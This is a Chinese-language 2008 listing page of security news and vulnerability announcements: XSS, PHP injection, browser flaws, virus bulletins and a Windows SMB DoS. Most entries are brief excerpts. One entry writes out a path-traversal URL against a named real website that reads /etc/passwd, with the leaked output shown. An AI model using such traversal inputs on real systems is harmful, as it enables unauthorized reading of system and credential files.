您的位置:个性赚钱聚合平台,网上赚钱由八客网开始! 安全试验室 漏洞公告 列表
内容搜索
热门内容
推荐内容
最新内容
反馈意见和建议

首页 安全试验室 漏洞公告 第1页

测试Web应用程序是否存在跨站点脚本漏洞

发布时间:2008-10-31  -  点击:502次  -  字数:4991字
到目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者...

Php动态函数注入漏洞

发布时间:2008-10-31  -  点击:701次  -  字数:3245字
以下是简介阶层日益严重PHP的应用性.可以让执行任意法或任意功能或阅读/书写的机会国内任意变量.看来只有极少数研究人员正在寻找这些问题包括StefanEsser,Retrogod,Gulftech.不过,这可能是目前许多严重问题应用,特别是大型或复杂的问题.此外...

雅虎HotJobs网站发现跨站脚本攻击安全漏洞

发布时间:2008-10-29  -  点击:502次  -  字数:469字
互联网搜索公司Netcraft的工具条检测到雅虎网站有一个跨站脚本安全漏洞。利用这个安全漏洞能够窃取身份识别cookies。...

老外站的php本地包含洞

发布时间:2008-10-27  -  点击:2次  -  字数:0字
http://www.vidiauto.com/off_record/index01.php?id=../../../../../../etc/passwd root:/bin/bash daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/:...

英特尔处理器存漏洞 可攻击所有系统

发布时间:2008-10-24  -  点击:1次  -  字数:0字
英特尔处理器存漏洞 可攻击所有系统 据国外媒体报道,安全研究员克瑞斯 卡巴斯基...

Firefox 3存在重大漏洞 可致DoS攻击

发布时间:2008-10-24  -  点击:1次  -  字数:0字
近日,Radware宣称在Mozilla公司推出的最新网页浏览器Firefox 3中发现存在一个漏洞,该漏洞的存在可引发用户遭受DoS拒绝服务攻击...

卡巴斯基:任何操作系统都有安全缺陷

发布时间:2008-10-24  -  点击:1次  -  字数:0字
据国外媒体报道,卡巴斯基CEO尤金 卡巴斯基(Eugene Kaspersky)近日表示,包括Windows、Linux及Mac在内的几乎所有操作系统都存在安全缺陷。...

Opera Web浏览器中包含 HTML 注入及跨站脚本漏洞

发布时间:2008-10-24  -  点击:2次  -  字数:0字
受影响系统: Opera Software Opera 9.61 不受影响系统: Opera Software Opera 9.61 描述: Opera是一款流行的WEB浏览器,支持多种平台。 Opera的9...

北京网络行业协会、江民科技联合发布10月24日病毒播报

发布时间:2008-10-24  -  点击:1次  -  字数:0字
江民今日提醒您注意:在今天的病毒中Trojan/VB.Small.aho 小不点 变种aho和Worm/AutoRun.cnk U盘寄生虫 变种cnk值得关注。 英文名称:Trojan/VB.Small.aho 中文名称:...

快客电邮(QuarkMail)出现命令执行漏洞

发布时间:2008-10-14  -  点击:2次  -  字数:0字
快客电邮(QuarkMail...

黑客跨浏览器攻击漏洞 可远程控制摄像头

发布时间:2008-10-11  -  点击:1次  -  字数:0字
Adobe在安全公告栏上第一次提及 clickjacking ,本次漏洞影响9.0.124.0之前的所有版本,同时他们发表了暂时的解决方案。 据悉,9月26日,安全人员已经透露了这个严重的...

Windows操作系统SMB WRITE_ANDX处理拒绝服务漏洞

发布时间:2008-09-21  -  点击:1次  -  字数:0字
受影响系统: Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server...

北大网站遭黑客袭击 假冒校长发言

发布时间:2008-10-01  -  点击:1次  -  字数:0字
北京大学校园网上发出一条声明,称该网站在26日深夜遭到黑客袭击.黑客捏造了北大校长许智宏对清华被黑一事的评论,并假造许智宏名义对现行教育制度进行了言辞激烈地抨击...

网游窃取者变种病毒偷取帐号密码

发布时间:2008-09-18  -  点击:1次  -  字数:0字
据瑞星全球反病毒监测网介绍,今日(2008年9月14日)有一个病毒特别值得注意,它是: 线上游戏窃取者变种QAA(Trojan.PSW.Win32.GameOL.qaa) 病毒...

紧急:微软爆出史上最大安全漏洞

发布时间:2008-09-18  -  点击:1次  -  字数:0字
近日,微软爆出有史以来最大的安全漏洞。通过该漏洞,攻击者可以将木马藏于图片中,网民无论是通过浏览器浏览、还是用各种看图软件打开、或者在即时聊天窗口、电子邮件...